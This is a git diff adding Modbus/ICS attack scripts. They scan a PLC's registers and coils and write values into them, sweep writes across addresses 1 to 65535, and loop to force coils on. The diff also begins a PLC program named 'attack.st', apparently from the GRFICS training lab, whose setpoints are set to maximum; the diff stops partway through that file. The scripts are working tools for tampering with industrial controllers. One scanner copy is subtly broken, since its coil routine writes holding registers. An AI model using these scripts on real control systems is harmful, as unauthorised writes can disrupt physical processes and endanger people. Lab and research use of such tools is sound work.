= "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + 